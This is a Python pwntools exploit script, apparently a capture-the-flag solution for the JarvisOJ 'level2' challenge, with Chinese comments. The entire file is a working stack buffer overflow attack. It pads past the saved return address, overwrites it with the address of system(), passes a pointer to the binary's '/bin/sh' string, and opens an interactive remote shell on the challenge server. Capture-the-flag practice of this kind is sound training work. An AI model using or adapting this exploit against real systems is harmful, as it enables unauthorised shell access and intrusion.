#!/usr/bin/env python

# -*- coding: utf-8 -*-

from pwn import *

io = remote("pwn2.jarvisoj.com",9878)

elf = ELF("./level2")

sys_addr = elf.symbols["system"]

bin_addr = elf.search("/bin/sh").next()

payload = 'a'*(0x88 + 0x4) #辣鸡填充值

payload += p32(sys_addr)   #覆盖返回地址到system函数

payload += p32(0xdeadbeef)　　#随意填写system函数调用结束的返回地址

payload += p32(bin_addr)　　#system函数的参数，指向“/bin/sh”，实现调用

io.recvline()

io.sendline(payload)

io.interactive()

io.close()